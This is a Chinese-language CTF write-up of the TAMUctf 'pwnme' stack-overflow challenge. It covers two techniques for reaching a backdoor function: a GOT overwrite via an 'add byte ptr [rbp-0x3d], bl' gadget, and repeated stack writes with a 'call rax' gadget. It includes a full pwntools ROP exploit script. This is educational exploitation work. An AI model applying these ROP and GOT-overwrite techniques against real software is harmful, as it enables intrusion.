tamuctf-pwnme

一道很有意思的基于栈溢出的题目,有两个关键的gadget add byte ptr [rbp - 0x3d], bl以及抬栈技巧,感觉比较巧妙(折磨),在这里记录一下

这道题题面非常简单,一个ELF的main调用了一个.so里面的pwnme函数,可以在pwnme中溢出0x38字节(不算rbp则为0x30字节)。题目存在一个后门函数win,和pwnme相差0x18字节。

image-20230502185142910

如果是一般题目,可能会直接想用rop。但是溢出之后由于无法泄露地址,并且动态库开启了PIE,导致无法用puts的PLT输出libc地址。一般情况下可能需要找一些特殊的gadget。这道题给了两种很有意思的思路。

case1 partial relro

如果ELF文件的GOT表可以修改,可以尝试这种方法。这种方法的思想在于用add byte ptr [rbp - 0x3d], bl往GOT表中写数据。这种gadget还算挺常见的,只要有函数返回0,就一定存在这样的gadget。

image-20230502210001453

pop rbp, ret这个gadget更为常见。一般在函数返回位置都会有。那么在可写的六个字节中,我们已经可以控制rbp,现在只要往里面写入got[“pwnme”]+0x3d,之后改bl为-0x18,就能改掉pwnme的GOT,之后再想办法调用一次就可以了。

找到可以修改bl(rbx的低位)寄存器的gadget。如下

image-20230502210703609

bl的修改依赖于al寄存器,再查看一下al。找到一个可控的gadget,如下。

image-20230502210915517

那么只剩下rdi需要控制了。如果找一个rdi,其中[rdi]结尾是0xe8即可。在IDA中找到这样的gadget。不难找到

image-20230502211329986

只需要填上地址0x4011a2即可。

但是如果正常做,需要以下的ROP chain

1
2
3
4
5
6
7
(rbp) got["pwnme"]+0x3d
(ret) pop rdi
(ret+8) 0x4011a2
(ret+0x10) 0x401191 # mov rax, qword ptr [rdi]; ret
(ret+0x18) 0x40118f # add bl, al;将rbx改成0xe8
# 后面不能修改GOT,因为还需要触发pwnme,只剩两条指令的空间不够
(ret+0x20) elf.got["pwnme"] # 先再次调用pwnme。这一过程中rbx没有变。

第二次进入pwnme溢出点时,如下所示

image-20230502212419008

因此,第二次溢出的时候就可以直接通过add byte ptr [rbp - 0x3d], bl这条指令修改GOT表。然后只要再触发一次pwnme即可。此时空间足够再次调用

image-20230502212843847

这种方法巧妙的地方是用了add byte ptr [rbp - 0x3d], bl修改GOT。比较直观,应该是看到这个gadget就改了,而且能直接用函数末尾的pop rbp省去两个gadget的位置。这是一种挺新颖的方法。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
filename="./pwnme"
libc_name="./libpwnme.so"
context.terminal=['tmux','split','-hp','60']
context.log_level='debug'
script="b *0x00000000004011A2"
elf=ELF(filename)
libc=ELF(libc_name)
io = gdb.debug(["./pwnme"],gdbscript=script)
# io = process("./pwnme")




pop_rdi = 0x000000000040118b
mov_rax_ptr_rdi = 0x0000000000401191 # mov rax, qword ptr [rdi] ; ret
add_bl_al = 0x000000000040118f # add bl, al ; mov rax, qword ptr [rdi] ; ret
add_rbp_bl = 0x00000000004011af # add byte ptr [rbp - 0x3d], bl ; sub rax, rsi ; ret
payload = b'a'*0x10
payload += p64(elf.got["pwnme"]+0x3d) # rbp
payload += p64(pop_rdi) + p64(0x4010c5)+p64(mov_rax_ptr_rdi)
payload += p64(add_bl_al)
payload += p64(elf.plt["pwnme"])

input(">")
io.sendlineafter("me\n",payload)



payload2 = b'a'*0x10
payload2 += p64(elf.got["pwnme"]+0x3d)
payload2 += p64(add_rbp_bl)
payload2 += p64(elf.plt["pwnme"])
io.sendlineafter("me\n", payload2)


io.interactive()

case2 利用prelogue多次写入栈

第二种方法用sub rsp, 0x18这个主函数中的gadget,那么再次调用pwnme时,之前调用的栈上多写的内容会被当作后面调用时连续的溢出之后的内容,这样就能避免写入立即数并弹出这样的开销。而且这种方法不依赖于GOT表可写与否。

第二种方法想法是利用call rax这个gadget,想办法将pwnme的GOT和相差的0x18放在一起,构成win的地址,之后放进rax并call。

第一次返回时,并不对寄存器做操作,而是直接修改返回地址之后的内容为pwnme的PLT,并不知一些栈上的内容,包括0x18这个立即数。可以看到当前栈末端为0x….60

image-20230503171806055

第二次调用返回时,栈布局如下所示。这里变成了0x48和之前0x60相差正好是0x18。正是因为我们多减去了一个0x18。事实上,我们只需要能够溢出0x20字节(包含rbp)就可以了。可以通过这里的方法反复在栈上写入内容。

image-20230503172011248

第二次调用时,首先拿出GOT表,之后pop rsi;ret修改了RAX寄存器中的值,变为win。之后call rax即可。如果是正常情况下,正好差一个gadget。这题也设计得别有用心。非常有意思!

文章目录
  1. 1. case1 partial relro
  2. 2. case2 利用prelogue多次写入栈
|